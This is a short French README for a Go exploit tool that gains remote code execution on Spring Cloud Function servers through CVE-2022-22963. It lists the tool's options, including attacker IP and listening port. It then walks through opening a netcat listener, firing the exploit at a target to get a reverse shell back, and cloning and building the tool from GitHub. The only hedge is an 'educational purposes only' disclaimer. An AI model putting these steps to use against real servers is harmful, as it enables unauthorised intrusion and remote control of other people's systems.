
Binaires pour CVE-2022-22963
Exécution de code à distance exploitant CVE-2022-22963 attaquant le service Spring Cloud.
Avertissement : Ceci est à des fins éducatives uniquement. L'auteur n'est pas responsable de l'utilisation de ce programme. Utilisez-le à vos propres risques.
./CVE-2022-22963 -h
Usage:
CVE-2022-22963 [OPTIONS]
Application Options:
-u, --target-url= Target/Host url where 'Spring Cloud' is running. Example: -t http://somesite.htb
-p, --target-port= Port running the service. Example: -p 8080
-i, --attacker-ip= Attacker IPv4 Address. Example: -i 10.10.10.10
-l, --listening-port= Listening port to connect. Example: -l 1337
Help Options:
-h, --help Show this help message
Supposons qu'une cible potentiellement vulnérable fonctionne sur http://somerandomserver.com:8080. Démarrez nc en écoute sur le port 1337, donc nous exécutons nc -lvnp 1337. Ensuite, exécutez le script/exploit :
./CVE-2022-22963 -u http://somerandomserver.com -p 8080 -i 10.10.10.10 -l 1337
Si vous avez go installé sur votre machine, faites simplement :
git clone https://github.com/GunZF0x/CVE-2022-22963.git
cd CVE-2022-22963
go run main.go -h #run without compiling any file
go build -o exploit main.go #build the file